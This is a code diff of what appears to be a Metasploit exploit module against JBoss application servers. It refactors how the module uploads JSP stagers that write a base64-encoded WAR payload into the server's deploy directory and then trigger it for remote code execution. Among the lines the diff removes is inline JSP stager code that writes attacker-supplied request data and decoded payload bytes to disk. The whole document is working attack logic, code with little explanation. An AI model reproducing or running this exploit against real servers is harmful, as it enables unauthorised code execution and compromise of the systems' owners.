@@ -84,14 +84,7 @@ def exploit
84
84
jsp_name = datastore [ 'JSP' ] || rand_text_alpha ( 8 +rand ( 8 ) )
85
85
app_base = datastore [ 'APPBASE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
86
86
stager_base = rand_text_alpha ( 8 +rand ( 8 ) )
87
- head_stager_jsp = rand_text_alpha ( 8 +rand ( 8 ) )
88
87
stager_jsp = rand_text_alpha ( 8 +rand ( 8 ) )
89
- content_var = rand_text_alpha ( 8 +rand ( 8 ) )
90
- decoded_var = rand_text_alpha ( 8 +rand ( 8 ) )
91
- file_path_var = rand_text_alpha ( 8 +rand ( 8 ) )
92
- jboss_home_var = rand_text_alpha ( 8 +rand ( 8 ) )
93
- fos_var = rand_text_alpha ( 8 +rand ( 8 ) )
94
- bw_var = rand_text_alpha ( 8 +rand ( 8 ) )
95
88
96
89
p = payload
97
90
mytarget = target
@@ -128,74 +121,18 @@ def exploit
128
121
129
122
encoded_payload = Rex ::Text . encode_base64 ( war_data ) . gsub ( /\n / , '' )
130
123
131
- # The following jsp script will write the stager to the
132
- # deploy/management directory. It is only used with HEAD/GET requests
133
- # to overcome the size limit in those requests
134
- head_stager_jsp_code = <<-EOT
135
- <%@page import="java.io.*,
136
- java.util.*"
137
- %>
138
-
139
- <%
140
-
141
- String #{ jboss_home_var } = System.getProperty("jboss.server.home.dir");
142
- String #{ file_path_var } = #{ jboss_home_var } + "/deploy/management/" + "#{ stager_base } .war/" + "#{ stager_jsp } " + ".jsp";
143
-
144
-
145
- if (request.getParameter("#{ content_var } ") != null) {
146
-
147
- try {
148
- String #{ content_var } = "";
149
- #{ content_var } = request.getParameter("#{ content_var } ");
150
- FileWriter #{ fos_var } = new FileWriter(#{ file_path_var } , true);
151
- BufferedWriter #{ bw_var } = new BufferedWriter(#{ fos_var } );
152
- #{ bw_var } .write(#{ content_var } );
153
- #{ bw_var } .close();
154
- }
155
- catch(Exception e)
156
- {
157
- }
158
- }
159
- %>
160
-
161
- EOT
162
-
163
- # The following jsp script will write the exploded WAR file to the deploy/
164
- # directory or try to delete it
165
- stager_jsp_code = <<-EOT
166
- <%@page import="java.io.*,
167
- java.util.*,
168
- sun.misc.BASE64Decoder"
169
- %>
170
-
171
- <%
172
-
173
- String #{ jboss_home_var } = System.getProperty("jboss.server.home.dir");
174
- String #{ file_path_var } = #{ jboss_home_var } + "/deploy/management/" + "#{ app_base } .war";
175
-
176
-
177
- try {
178
- String #{ content_var } = "#{ encoded_payload } ";
179
- byte[] #{ decoded_var } = new BASE64Decoder().decodeBuffer(#{ content_var } );
180
- FileOutputStream #{ fos_var } = new FileOutputStream(#{ file_path_var } );
181
- #{ fos_var } .write(#{ decoded_var } );
182
- #{ fos_var } .close();
183
- }
184
- catch(Exception e)
185
- {
186
- }
187
- %>
188
-
189
- EOT
190
124
191
125
# Depending on the type on the verb we might use a second stager
192
126
if datastore [ 'VERB' ] == "POST" then
193
127
print_status ( "Deploying stager for the WAR file" )
194
- res = upload_file ( stager_base , stager_jsp , stager_jsp_code )
128
+ stager_contents = stager_jsp ( app_base )
129
+ res = upload_file ( stager_base , stager_jsp , stager_contents )
195
130
else
196
131
print_status ( "Deploying minimal stager to upload the payload" )
197
- res = upload_file ( stager_base , head_stager_jsp , head_stager_jsp_code )
132
+ head_stager_jsp_name = rand_text_alpha ( 8 +rand ( 8 ) )
133
+ head_stager_contents = head_stager_jsp ( stager_base , stager_jsp )
198
134
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
135
+ res = upload_file ( stager_base , head_stager_jsp_name , head_stager_contents )
199
136
200
137
# We split the stager_jsp_code in multipe junks and transfer on the
201
138
# target with multiple requests
@@ -216,7 +153,10 @@ def exploit
216
153
if ( res . code == 200 || res . code == 500 )
217
154
print_status ( "Calling stager to deploy the payload warfile (might take some time)" )
218
155
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
219
- stager_res = deploy ( 'uri' => stager_uri )
156
+ payload_data = "#{ rand_text_alpha ( 8 +rand ( 8 ) ) } =#{ Rex ::Text . uri_encode ( encoded_payload ) } "
157
+ stager_res = deploy ( 'uri' => stager_uri ,
158
+ 'data' => payload_data ,
159
+ 'method' => http_verb )
220
160
221
161
print_status ( "Try to call the deployed payload" )
222
162
# Try to execute the payload by calling the deployed WAR file
@@ -247,5 +187,4 @@ def exploit
247
187
end
248
188
end
249
189
250
-
251
190
end
0 commit comments